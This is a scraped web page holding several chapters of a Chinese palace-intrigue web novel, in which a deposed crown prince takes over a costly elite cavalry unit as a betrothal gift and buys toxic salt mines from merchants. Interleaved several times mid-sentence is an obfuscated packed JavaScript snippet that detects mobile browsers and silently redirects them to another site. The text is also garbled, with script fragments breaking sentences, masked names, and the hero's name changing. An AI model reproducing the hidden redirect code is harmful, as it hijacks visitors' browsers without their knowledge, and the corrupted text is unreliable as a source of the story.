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他实在是想不明白,对自己提了一堆要求还不干事儿的儿子,怎么就替自己分忧了? 他分什么忧了? 看着一脸茫然的乾帝,李钰开口道:“父皇,儿臣今天给您算笔帐。” “敢问父皇可知道,虎贲营为什么会成为我大乾精锐吗?” 听到这个问题,乾帝眉头轻皱。 “虎贲营是成国公费尽心思打造的重甲骑兵精锐。” “放眼天下,也唯有虎贲营能做到一人三马,人马俱甲。” “自从虎贲营成立以来,大大小小的战事最少也有百余场,虎贲营从无败绩。” “这些年虽然经历了几次重大折损,但也依旧是我大乾精锐。” 听着乾帝如数家珍一般的描述,李钰接着道:“那父皇可知道,虎贲营一年养着要耗费多少银钱吗?” “这……” 乾帝瞬间语塞,他还真不知道。 严格来说,虎贲营算是成国公府的私兵组建,从成立至今,一直都是成国公府自己掏钱养着,朝廷并没有出过一文钱。 自从成国公战死之后,这虎贲营也被乾帝顺势攥在了手里。 只不过才半年时间而已,花费什么的他也不清楚。 李钰见状,解释道:“父皇,儿臣算过虎贲营的开销。” “虎贲营原来有一千五百人,几场硬仗下来,折损了将近三成,眼下只有千人左右。” “按照虎贲营的配置,一人三马,而且还是能够披甲冲锋的战马,一匹最少也得二百两银子,而虎贲营的战马每隔两三年就要换一次,今年正好是换马的时候。” “就按照现在的人数,单单是换马一项,朝廷就要拿出来六十万两白银买马。” “多少?” 乾帝瞬间睁大眼睛,一脸不敢置信的看着李钰。 数额太大,居然让他有一种李钰在骗傻子的感觉。 下意识的,乾帝就看向沈石。 “沈石!幽王说的都是真的?” 沈石这时候也站了出来,躬身道:“启禀陛下,兵部已经将虎贲营花销名录送到了户部,这几日我户部也在核算,关于战马所耗,数额比幽王所说只多不少。” 此时的沈石对李钰也是佩服的紧。 幽王居然在数据如此少的情况下,还能测算出来虎贲营的开销,实在是让人想不到。 而且幽王如此清楚这些,显然没有因为被罢免了太子之位而颓废。 殿下还是心系朝堂啊! 这么好的太子,陛下怎么忍心废除呢? 见乾帝被这数字惊的说不出话来,李钰心中轻笑,接着道:“父皇,这还是买马一项,不算养马的费用。” “虎贲营是重甲骑兵,无论是马还是人,所用甲胄都是军中常见甲胄的数倍重量。” “人要**粮,还要按时供应肉食,至于战马,为了保证气力也要吃粮食才行。” “这些东西算下来,单单是养着人和马,一年就得小一百万两,这还不算武器损耗,人员补充,平日里的赏赐。” “以及军中例银,战死补偿。” “这每一项开销,都是其他军队的数倍有余。” “父皇,您攥着这虎贲营,当真能养的起?” “倒不如交给儿臣,将其作为聘礼,送给成国公府。” “如此一来,您能省下一笔钱不说,还能笼络成国公府。” “日后就算要用虎贲营,您是皇上,还不是您一句话的事儿?” 听到李钰这么说,乾帝一时间也是犹豫起来。 其实从刚刚李钰算账的时候,他就想把虎贲营这吞金兽给兑出去了。 现在李钰给了自己台阶,乾帝只是稍一思索,便做出了决断。 “咳咳,朕总不能夺成人之美。” “幽王,这虎贲营做聘礼一事,朕就答应你了。” 既然要花钱,而且还是一笔大钱,乾帝就有点不乐意了。 而且按照李钰的说法,这烫手山芋丢出去,对于眼下成国公府来说也是个不小的负担。 偌大的成国公府没了老国公,日常的进项也开始减少起来。 不要说养一支虎贲营了,就算是把国公府卖了也养不起。 至于指望李钰? 别开玩笑了! 自己随时能停了李钰的俸禄,指望李钰还不如指望自己呢! 虎贲营在自己手里没用,到了李钰他们手中更是没什么用处,对自己更谈不上威胁一说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511855|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想到自己这么快就把这烫手山芋甩出去,乾帝就忍不住露出一抹笑容来。 而这一幕落在沈石等人眼中,也是瞬间就明白了乾帝的打算,一时间开始担心起来。 生怕李钰和成国公府被这虎贲营给拖垮了。 众人心思各异,但只有秦王李泰心中有些不解和担忧。 虎贲营的实力他清楚,原想着要纳入自己麾下的,但现在也有些犹豫。 虽然说自己攥不在手里有些可惜,但落在李钰手中,总是让他有种不祥的预感。 得到了自己想要的,李钰也接下了乾帝要自己处理盐商的事情。 从大殿出来之后,户部尚书沈石就急匆匆追了上来。 “殿下,虎贲营对你来说现在并不算是助力,相反还是个累赘,你要他干什么?” “无妨,本王心中有数,沈大人就不必担心了。” 见李钰脸上笑容满是自信,沈石心中也有些奇怪。 “既然殿下心中有数,那下官也不便多说。” “只是殿下打算如何处置盐商一事?” “现在就去户部。” 说完,李钰便一马当先朝着皇宫外走去。 沈石见状,也是急忙追了上去。 两人才刚刚来到户部外,那负责盐商一事的户部员外郎范无忌就噗通一声跪倒在了李钰的面前。 “下官无能,让盐商一事变的混乱不已,坏了殿下好不容易定好的规矩,还请殿下责罚!” 李钰看着跪在地上的范无忌,虚手一抬。 “盐商的事儿本王都知道了,和你没什么关系,起来吧。” 范无忌闻言,顿时大喜。 “多谢殿下!” 等到范无忌起身,看着李钰依旧是弓着身子。 “殿下,下官收到消息,您要重新负责此事,就先一步将京城的盐商全都找来了,眼下就在堂内等候。” “您看……见见?” “既然都在,那就见一面吧,前面带路。” 听到李钰要见盐商,范无忌立马在前面带路。 人还没有走进堂内,李钰就听到里面传来一道喊声。 “太子殿下来了!” 接着,便是一片乌泱泱的人从堂内冲了出来! 第14章 兑现承诺 乌泱泱跑出来的全都是户部的官员。 李钰还是太子的时候,监国期间干的活,基本上就是皇帝干的活。 六部官员基本上全都在李钰的手下干过事儿。 尤其是户部,前身一心为国搞钱,户部是来的最勤的。 而这些年户部工作的成绩能如此好,也和李钰提拔了一批官员有关系。 因此,真要论朝堂上谁和李钰关系好,户部的官员绝对算一号。 “殿下!您可算是来了!” “我等无能,被王珣那蠢货骑在头上,坏了殿下多年心血!” “还请殿下责罚我等啊!” 看着跪倒在自己面前的一众官员,李钰上前将最前面那位搀扶起来。 “你们这是做什么?错不在你们,快些起来。” 眼见面前这群大老爷们一把鼻涕一把泪,李钰也有些哭笑不得起来。 他今天来,真不是问罪来了。 一旁的户部尚书沈石看着众人,也宣布了朝堂上刚刚传达的旨意。 “陛下已经严惩了王珣,眼下盐商一事陛下已经交给了殿下处置。” 一听李钰要负责盐商一事,众人顿时面露喜色。 李钰回来就好办了! 有了李钰在,那他们就有了主心骨。 见众人状态有些变化,李钰这才开口道:“盐商一事问题不大,你们先依照惯例将各家盐商提交上来的资料审核议定,按照先前的规矩评定等级。” “本王之后有大用。” 听到李钰的命令,户部一种官员纷纷躬身应是。 “我等遵命!” 看着户部一众官员返回忙碌,沈石也不由得感慨起来。 “户部这几天因为盐商的事儿人心惶惶,现在看到殿下可算是稳定下来了。” 李钰淡淡一笑,却没有说话。 沈石见状,小心翼翼询问道:“不知道殿下这一次打算如何处置盐商一事?” 李钰原本的计划已经被王珣毁了,现如今就算是继续施行先前的计划,也会有人盐商怀疑公平性。 所以,这一次怕不是要换一种方式才行。 现在李钰是主事的,沈石自然是要询问李钰的意思。 只见那李钰淡淡一笑。 “不急,本王心中有数,你先让人将工作处置完,之后的交给本王就好。” 见李钰不愿意多说,沈石也是没有追问。 他知道,今天李钰来到这里,最大的作用就是给户部上下官员吃了一颗定心丸。 毕竟安心做事之后,才能谈事后如何。 李钰这边安排好之后,就将户部外面等候的管事吕青叫了进来。 将乾帝给自己的旨意随意丢给吕青。 “你去一趟兵部,去把虎贲营的兵符拿回来。” 听到这话,吕青瞬间愣了愣。 “这……不行吧?” 李钰指了指圣旨。 “有皇上的旨意,兵部不敢为难你,放心去吧。” 听到有旨意,吕青这才恍然大悟,点了点头道:“老奴这就去,殿下放心,兵符一定带回!” …… 翌日一早。 李钰没有先去户部,而是先来到了成国公府。 伸手接过来护卫陈玉楼递给自己的盒子,李钰一手托着盒子,一手背负,施施然来到了成国公府的门外。 “还请通报一声,本王李钰登门拜访。” 听到对面的李钰就是自家小姐的未婚夫,幽王。 下人们顿时面露惊讶之色。 待回过神来之后,这才忙不迭点了点头,随后朝着府内跑了进去。 此时苏家老祖宗陈老夫人还在用茶,听到李钰来访,不由得愣了愣。 “幽王来了?” 下意识的,陈夫人看向自己的孙女苏庭雪。 “庭雪,你和幽王有约?” 上次回来的时候,陈氏就听说了自己孙女和幽王的事儿,苏庭雪摇了摇头。 “孙女同他没什么约定,也不知道他为什么登门拜访。” 陈氏犹豫了一下。 “你要不躲躲?” 苏庭雪犹豫了一下,最终摇了摇头。 “不必了,孙女为人做事坦荡,没有什么需要避讳他的。” 陈氏见状也没有强求,点点头后看向下人。 “将幽王殿下请进来吧。” 不过片刻,李钰就被人带了进来。 见陈老夫人也在,李承乾便先问候了一句。 “老夫人安康。” 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511856|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李钰如此有规矩,陈氏也是愣了愣,随后笑眯眯道:“殿下客气了,快些落座,今日殿下来的也是时候,老身正在用茶,若是殿下不嫌弃也喝上一杯?” 李钰笑着点了点头,应声做到了位置上,随后看了一眼苏庭雪。 只见苏庭雪此时脸上满是淡然,甚至都没有用余光看李钰一眼。 眼瞅着这一幕,陈氏开口道:“殿下今日登门拜访所为何事?” 见陈氏询问,李钰收回目光,随后将承装兵符的盒子推了出来。 “今日登门拜访,是想要见本王未婚妻一面,顺带送一份聘礼来。” “送聘礼?” 陈氏看着李钰推过来的盒子,神色间多了几分异色。 这年头皇子订婚的聘礼就如此寒酸吗? 是自己太久没有出去,这世道变了? 陈氏皮笑肉不笑的看着李钰。 “幽王殿下,我成国公府虽然说男丁死绝,但好歹也是高门大户,您这聘礼是不是也太不将我家庭雪当回事儿了?” 见陈氏误会自己的意思,以为自己是在羞辱成国公府。 李钰笑了笑。 “老夫人不必着急,您不如先看看这盒子里的东西,再做决定?” 听到李钰这么说,陈氏一脸狐疑的接过来那盒子。 将其打开之后,陈氏瞬间僵在原地。 一旁站着的苏庭雪见状,也是有些狐疑,低着脑袋看去,见那盒子里赫然放着一枚兵符,上面还刻着虎贲二字。 顷刻间神情变得激动起来。 “这是虎贲营的兵符?” 李钰看着苏庭雪,开口道:“前几日本王答应了庭雪,只要将这虎贲营的兵符拿到手,就会作为聘礼上门。” “如今本王算是说到做到了,只是不知道庭雪和成国公府怎么说?” “呸!不知羞,庭雪也是你叫的?” 苏庭雪红着脸说了李钰一句,心中却是有些感动。 她当初提出这条件,只是想要李钰知难而退,谁知道他还真就把兵符给带回来了。 可见李钰心中还是有自己的。 然而,苏庭雪高兴没多久,陈老夫人却是将那盒子退回给了李钰。 “殿下,恕老身无礼,这聘礼我成国公府不能要。” 第15章 本王有的是手段 眼见陈老夫人将那兵符退还回来,言语间虽然有些可惜,但更多的还是无奈。 而一旁的苏庭雪则是脸上浮现出一抹诧异,转瞬间就恢复了正常。 似乎也知道了奶奶这样做的原因。 反观李钰,这时候眼睛眯了眯道:“老夫人这是什么意思?” 陈氏看了一眼李钰。 “老身承认,殿下所作所为确实是对我成国公府真心实意,但这虎贲营对我成国公现在来说,只是个累赘。” “庭雪他爹或者爷爷还在,成国公府就还有权势在,进项也就稳定,可即便如此,供养虎贲营也几近将我国公府上下掏空。” “但为国养士,我成国公府无怨无悔。” “现在我成国公府没有了男丁,进项权势更是少之又少,外人眼里我成国公府衰败就在眼前。” “老身能保住这一大家子不至于流落街头,已经是吃力的很了,实在是没有能力再供养这虎贲营。” “将其交给朝廷,也算是个交代,殿下将他要回来,老身实在是无能供养。” 李钰听到这话,心中也是感慨不已。 成国公府两代人的心血,到头来放手的还是他们自己。 “老夫人,这兵符既然是我要回来,哪里有退回去的道理。” “至于您担心的问题,本王来解决就是。” “好歹本王也算是你成国公府的女婿,怎么可能看着老国公唯一留下的东西被人糟蹋?” 听到这话,陈氏也是诧异的看着李钰。 “殿下,虎贲营耗费巨大,您确定要留下?” 李钰微微一笑。 “老夫人放心,本王从不说大话,既然说有办法,那自然是有的。” 说着,李钰看向苏庭雪,笑眯眯道:“这可是本王给庭雪的聘礼,既然答应了,那自然是要做到。” 苏庭雪见状,羞红着脸低着脑袋。 陈氏见状,心中对于李钰这有担当的样子,也是喜欢的很。 笑了笑后,陈氏便点了点头。 “殿下既然自己心中有数,那老身也不便过多阻拦,但有一件事儿殿下要答应老身。” “若是有问题,尽早放弃,万不能拖累自己。” “老夫人教诲,本王记下了。” 陪着陈氏聊了一会,李钰这才起身告辞。 而苏庭雪更是亲自将李钰送到了府邸门口。 看着自己的漂亮媳妇,李钰突然伸出手来拉住苏庭雪的小手。 被这么一弄,苏庭雪下意识的就要抽回手来。 只是却发现李钰抓的紧,也只好放弃,只是眼神还不时朝着四周看去。 “干什么呢!小心被人看到!” 看着苏庭雪那羞红着脸的样子,李钰哈哈一笑。 “你是本王的未婚妻,谁敢说三道四?” 见李钰这么说,苏庭雪也停下了动作,心中带着几分甜蜜。 只是看着李钰,心中多少还是有些担心。 “那日我要虎贲营只是为了为难你罢了,你心意至此,我已经全都知道了,但万万不能逞强。” “如果真的困难,早日放手就是了,我不会怪你的。” “你是在关心本王?” 李钰似笑非笑的看着扭过去脑袋的苏庭雪。 “放心,本王心中有数。” “你如果不放心,明日本王让人来接你,你随我走一趟就知道本王有没有骗你了。” 一听这话,苏庭雪眨了眨眼睛。 “去什么地方?” “到时候你就知道了。” …… 入夜,江南会馆。 今天一大早,幽王府就派人送来了消息。 说是今晚李钰要来。 虽然说现在李钰不是太子了,但江南会馆里的商人们却不敢怠慢。 先不说李钰这几日的遭遇,就算是被废,那也是皇子。 人家只是不做太子了而已,又不是被拿入大狱,贬为庶人。 他们一介商人,怎么敢找皇子的不是? 再者,李钰这些年没少扶持他们,如果被人知道了他们做了卸磨杀驴的事情,那他们也没有办法在江南立足了。 因此,得知消息之后,会馆内的商人们早早就在准备。 等到李钰马车到了的时候,守在大门外的下人,第一时间就跑了进去。 “幽王殿下到!” 随着这一声通禀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511857|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会馆内的商人们齐齐走了出来,站在门口相迎。 “我等拜见殿下!” 为首的汪臧海,此刻也是躬身见礼,不敢有丝毫怠慢。 李钰上前,脸上挂着几分笑容道:“诸位客气了,本王现在这身份,可是大不如前了。” “哪里,殿下过去为我等谋划,恩德大如天,今日便是殿下成了庶民,我等也不敢忘记殿下的恩情。” 听到汪臧海这么说,李钰笑道:“言重了,本王不过是为朝廷做事,可当不得你们这么夸赞。” “殿下客气,我等已经备好酒宴,还请殿下入席。” 说着,一众商人纷纷站开,将道路让了出来。 李钰见状也不客气,就这么跟着众人走了进去。 当入席之后,李钰这才看向众人,说明来意。 “本王今天来,只为两件事。” “一事是为了安抚诸位,盐引一事陛下已经重新交给了本王来做,诸位可以放下心来了。” 一听这话,在场之人那个不是面露喜色。 有李钰在,那他们真就是各凭本事了,钱财地位已经不是最重要的了。 看着众人脸上的笑容,李钰接着说道:“这第二件事儿就是,本王这一次来是通知你们一声,王珣将本王多年努力毁于一旦,纵然是万死难咎其责。” “为了防止日后事情再次发生,本王打算今年变一变规矩。” 又变? 众人脸上的笑容瞬间收敛起来,看着李钰心中多少有些犹豫起来。 他们倒不是在担心李钰不公平,而是这样做会不会出现问题。 众人的担忧,李钰此刻是尽收眼底。 “本王知道你们在担心什么,但本王还是希望你们安静下来,先听听本王的计划再做决断。” “这几日你们递交上来的计划本王已经查看过了,除此之外本王也看了一些江南各地盐矿的资料。” “发现你们这些年大大小小的盐矿开发了几十座之多,但能够采盐卖盐的却只有五家盐商而已,虽然有轮换,但无论是收益还是产量都不稳定。” “甚至有些地方的盐矿根本就不能用。” “汪掌柜,本王说的没错吧?” 第16章 这盐矿真是买的 李钰很清楚前身的能力,虽然说不上差,但也是有局限性的。 就比如眼前的盐商来说。 虽然限制了盐商的数量,便于朝廷把控,但商人就是商人,为了利益还是会想尽办法提高自己的利润。 这些年,选定的盐商还是偷偷扩大开采的规模。 一些本来不能使用的盐矿也被开发出来。 后果就是,这些有毒的盐矿开采出来的盐也流入了市场,以极低的价格出售。 这事儿原本做的很隐秘,知道的人并不算多。 但还是被户部查了出来。 现在被李钰点破,汪臧海等一众盐商也是神色有些慌乱起来,一时间居然不知道如何回答李钰的这个问题。 李钰见状也是不慌不忙的喝了一口酒,淡淡道:“赚钱本王不反对,但你们这么干将本王置于何地?” “不要忘了,你们有如今的地位,是本王给的你们机会。” “你们如果被人抓住了把柄,那牵连的也是本王。” 这话一出口,几个心中有鬼的立马起身谢罪。 “殿下息怒,我们也是一时鬼迷心窍,绝对没有牵连殿下的意思啊!” “殿下息怒啊!” 看着跪倒在地上的几人,李钰摆了摆手。 “起来吧,本王今天说这事儿,目的不是为了处置你们,就是想看看你们到底还有没有将规矩放在眼里。” “既然认错,那本王就暂且先不追究这事儿。” “不过为了以儆效尤,也为了防微杜渐,今后规矩得变一变才行。” “现在你们谁还有反对的?” 众人闻言,这时候却是没有一个站出来反对的。 同行赴宴的户部尚书沈石,此刻看着李钰眼中精光闪烁。 印象中,太子做事向来都是温润柔和的,很少有发怒的时候。 这也导致外人觉得太子优柔寡断,毫无威严。 但今天李钰这连消带打的一套手段用下来,让盐商都不敢再有反对的意见,实在让他大开眼界。 这殿下当真和之前有些不太一样了。 “既然无人反对,那本王就说说新的变动。” “这一次盐引的数量会扩大一倍。” “并且朝廷会对盐商的售卖范围做出限定。” 这第一个变化倒是让不少人面露喜色,毕竟扩大一倍,就意味着他们的机会多了。 至于后面限定售卖范围他们有些不太明白。 “十家选定的盐商,只可以在自己的销售区域售卖食盐,如果有越界的,取消资格,十年内不准卖盐。” 听了李钰的解释,一众盐商瞬间恍然大悟。 虽然说惩罚的严厉了些,但是如果按照李钰的要求做,盐商的利润却是能够得到保障。 “另外,每家盐商要交一笔保证金,如果再有售卖毒盐,或者越界行为的,保证金全部扣除。” “如果期限内表现好的,朝廷也会优先续约,并且在续约之后降低保证金的额度。” 听了李钰的解释,一众盐商也是纷纷开始琢磨起来。 这一次的条件足够好,甚至比之前李钰定下的还要好,但同样规矩也多。 总的算下来,倒是也不亏。 “殿下,这次您说的规矩我们都知道了,但这开发出来的盐矿,哪怕是不能用的,丢在那里也怪可惜的,这该如何处置?” 见有人提出意见,李钰淡淡道:“你们是想让朝廷给你们的错误买单?” “贪心不足,险些酿成大祸,这还要朝廷给你们擦屁股?” 被李钰训斥了一顿,一众盐商也是纷纷低下了脑袋。 汪臧海见状,急忙道:“殿下不要生气,都是我们自己闯下来的祸事,我们自己处置就是,殿下放心,我们定会处置妥当的。” 李钰冷冷扫了一眼其他人,冷声道:“也就是汪掌柜求情,这破事本王是一点都不想过问!” “一个个只知道得寸进尺,就你们这样子,本王去了宣化之后,谁还能护着你们?” 这话盐商们也不敢反驳,只因为李钰说的也是真的。 没有李钰,他们这群盐商在朝廷官员眼中,就是个土财主,随时都能抢了的存在。 也就是李钰将他们当成人看。 “罢了,本王就帮你们最后一次。” “这次有问题的盐矿,你们作价卖给本王,怎么样?” 听到李钰要接手有问题的盐矿,众人立马眼神一亮。 而汪臧海又觉得这么做多少有点对不起李钰。 毕竟李钰被陛下免去了太子之位,又即将被发配到宣化那鸟不拉屎的地方。 本就没多少家底的李钰,现在又要自掏腰包为盐商兜底。这幽王简直就是他们的再生父母啊!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511858|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不!亲爹亲妈都没有这么干的! “殿下,您现在正是需要钱的时候,怎么能为我们兜底?” 李宽摆了摆手。 “说到底,你们先前遇到麻烦还能来找本王,不顾及本王这个废太子的身份,就说明你们还是将本王放在眼里的。” “本王日后也没什么能帮衬你们的机会了,这一次也算是本王最后一次帮你们了。” “只求日后这盐矿如果有可用之盐,你们能看在今日情分上,将本王的盐收一些,也不至于让本王在宣化那个苦寒之地饿死自己。” 随着李钰的话说完,酒宴上顷刻间气氛变得沉重起来。 汪臧海更是第一个表态。 “殿下放心,只要盐矿能正常产出食盐,我等这些人只要有售卖的资格在,就会帮殿下一把!” “另外这盐矿我等也不会向殿下要一文钱,全部转给殿下便是。” “至于所赔的钱,我等自认,全当是教训。” 说完,汪臧海便看了一眼同行。 “诸位觉得,老夫所言可有不妥之处?” 众人闻言急忙摇了摇头。 这有什么不妥的? 殿下都这个态度了,他们还真能拿李钰的钱不成? 见没有人反对,汪臧海这才回头看向李钰。 “还请殿下不要辜负我等一片心意。” 李钰摇了摇头。 “多事之秋,本王周围有多少双眼睛盯着?这钱还是要给的。” 李钰也不是客气,他很清楚朝堂上有多少人盯着自己犯错。 尤其是自己那没谱的父皇,这要是被他知道自己白嫖了好多座盐矿,还能放过自己? 汪臧海听到李钰这么说,也是稍稍思索了一下,随后开口道:“既然是如此,那我等就听殿下的,至于盐矿的价格,老夫手中有一座。” “不如就作价十两银子卖给殿下吧?” 一旁的沈石闻言,瞬间整个人都不淡定了。 一座盐矿!十两银子? 这和白送有什么区别? 有了汪臧海做榜样,其他几家人也是纷纷按照汪臧海的报价来用。 最后七座产毒盐的盐矿,作价七十两落入了李钰手中。 “沈大人,你今日也在场,可要为本王做个见证。” “这盐矿真的是本王用银子买来的。” 第17章 还请王爷放我们一马 沈石此刻看着十两银子就卖了自己盐矿的盐商站在那里傻乐,突然有种不真实的感觉。 这对吗? 这不对! 十两银子一座盐矿,他就算是亲爸亲妈也没有这么卖的! 但一个愿意买,一个愿意卖,大乾律法也没有哪一条规定盐矿不能便宜卖。 沈石这时候还真就挑不出来什么毛病。 见李钰让自己作证,不管沈石乐不乐意,这时候也只能捏着鼻子认了下来。 “殿下这交易没有问题。” 听到沈石这么说,李钰也笑了出来。 “沈大人还是公正的。” 敲定了盐引的事儿,李钰也和盐商的关系拉近了不少。 等到酒宴散去的时候,近一多半的人全都醉倒在酒桌上。 李钰和沈石离开江南会馆的时候,还是相互搀扶出来的。 第二天一早。 李钰醒来的时候,还有一种醉宿过后的感觉。 让下人送来早饭,李钰一边用饭,一边吩咐吕青今天的安排。 “一会派人去成国公府接苏庭雪过来。” “再将府中能调用的银两全都带上。” “告诉陈玉楼他们,安排好护卫,本王今天要出城一趟。” “出城?殿下要去什么地方?” 看了一眼追问的吕青,李钰淡淡道:“白虎庄。” 吕青神色微愣。 整个大乾,谁不知道白虎庄的存在! 那可是大乾精锐虎贲营的驻扎之地! 殿下怎么想起要去那地方了? 但此刻吕青也不敢多问,只能老老实实点了点头。 “老奴这就去安排。” …… 等李钰从王府走出来的时候,苏庭雪已经乘着马车来到了王府外等候。 见李钰不坐自己的马车,反倒是上了自己的车,苏庭雪顿时有些紧张起来。 “你怎么坐我的车?” “什么你的我的,马上就是一家人了,往那边挪挪,给本王腾个地。” 苏庭雪侍女见状,也是捂嘴轻笑一声,将自己的位置让了出来。 等到李钰坐下之后,嗅了嗅鼻子。 “嗯,这车里面还怪香的。” 看着李钰这动作,苏庭雪俏脸瞬间变得通红起来。 眼见苏庭雪这么一副羞赧的样子,李钰是越看越喜欢。 见李钰盯着自己不停的看,苏庭雪也只能强装镇定,让自己暂时冷静下来。 “这一大早接我出来,要去什么地方?” “到了地方你就知道了。” “昨晚喝了一夜的酒,现在头还在痛,我先小惬片刻,到了地方喊我。” 说完,李钰便直接双手放在脑袋后面,整个人在车内躺了下去。 看着近在咫尺的李钰,苏庭雪吓了一跳。 正打算说话,却听到这刚刚躺下的李钰发出极其细微的呼声,不由得就是一愣。 “这就睡着了?” 确认了一番之后,苏庭雪也是有些无奈,随后从手边拿起一块披肩,将其盖在了李钰身上。 也就是这一动作,苏庭雪下意识的盯着李钰那张脸看了起来。 一路无话,等马车到了白虎庄的时候,车外便响起了陈玉楼的声音。 “殿下,到地方了。” 苏庭雪素手轻轻推了推李钰,只见那李钰这才睁开眼睛看向苏庭雪。 “到地方了?” 见苏庭雪点了点头,李钰这才起身,随后从马车上走了下来,站在地上伸了个懒腰,回头看向车内。 “怎么?不一起来看看?” 苏庭雪此刻已经认出来这地方就是白虎庄。 “你来这里干什么?” “自然是解决问题来了,这么多人放在这里人吃马嚼的,总得解决不是?” 听到这话,苏庭雪面露好奇之色。 稍作思索便跟了上去。 李钰见状微微一笑,随后带着众人朝着庄子内走去。 刚刚来到村口,就传来一声大喝。 “站住!此处是虎贲营驻扎之地,没有命令不得入内!” 听到这话,李钰便伸出手来,那苏庭雪见状顺势将手中的兵符递给了李钰。 兵符在手,李钰高声道:“虎贲营兵符在手,让你们管事儿的人出来!” 只见那庄子里瞬间安静下来。 不过片刻,一位壮汉就从庄子里走了出来,身后还跟着几人。 只是这些人身上并没有着甲,只是穿着普通麻布衣服。 来到李钰面前,看了一眼李钰手中的兵符,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15511859|170584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为首的人才拱手道:“在下**,虎贲营副统领,敢问阁下是?” “本王李钰,乃皇上嫡长子,现封幽王。” 听到李钰的身份,那**顿时脸色一变。 “您是太子?那……” 下意识的,**扭头看向李钰身边的苏庭雪。 “这是成国公府的苏庭雪苏大小姐。” **闻言,立马行了一礼。 “见过大小姐。” 见眼前的**还算规矩,李钰开口道:“想必宫中的旨意你们已经收到了,现如今虎贲营归本王管辖。” “今天来,就是想要看看,你虎贲营现在情况如何?” 听到这话的**却是面露为难之色。 李钰见状,眉头一挑。 “怎么?有状况?” **犹豫了一下,随后说道:“殿下,非是属下驳您的面子,您来此地,是想要将我们全都带到宣化去吧?” 闻言,李钰嘴角一勾。 “怎么?不愿意?” 只见那**犹豫了一下,最终点了点头。 “我等并不想去宣化。” “因此,还希望殿下和陛下说一声,准许我虎贲营就地解散。” “为什么?” 李钰饶有兴趣的看着**,却是没想到自己今天来居然听到这么一番话。 还有主动要求解散的? 稀罕! **看了一眼李钰,随后开口解释道:“殿下,我虎贲营回京已经有数月时间,这期间只有成国公府送来了物资给养,但对于我等来说也是捉襟见肘。” “朝廷兵部对我等不闻不问,我虎贲营上下不敢奢求朝廷什么。” “但宣化之地苦寒,兵部已经有数年时间没有足额向宣化提供物资军费了,虎贲营消耗巨大,如果去了宣化只有死路一条。” “倒不如让我们就地解散,也好让兄弟们有个好下场。” 说着,**单膝跪在地上。 “还请殿下开恩,放我们一马!” 看着跪在自己面前的**,李钰也是有些无语。 这得绝望到什么地步,让一群战场上生里来死里去的精锐,生出了解甲归田的心思。 “**,如果本王能解决你们眼下困局,你们可愿意随本王前往宣化?” 第18章 本王不养无用之人 虎贲营现在所有的问题都是两个字。 缺钱。 先前成国公府供养这支精锐,耗尽家财。 老国公**之后,成国公地位一落千丈,就连银钱也随之减少,根本无力供养这支精锐。 原本这支精锐的最好的归宿就是被朝廷收归所有。 即便是压缩一下规模,但起码算是一支精锐。 但现在乾帝要修宫殿也不肯供养这支精锐,那结果就只有解散了。 **也清楚现在的情况,所以在李钰来了之后就直接提出要解甲归田。 要不然的去了宣化,他们这群人只会死得更惨。 只是心灰意冷之下,**没想到李钰会说出这种话来。 “殿下没有开玩笑?” “虎贲营一年开销可不是个小数目,基本都是百万两打底。” 李钰淡淡一笑。 “本王既然开了口,那自然是有办法。” 说着,李钰朝着**身后看去。 “这庄子里除了虎贲营的人之外,还有什么人?” “还有我虎贲营将士的家眷。” **一脸狐疑的看着李钰,不知道李钰为什么会询问这个。 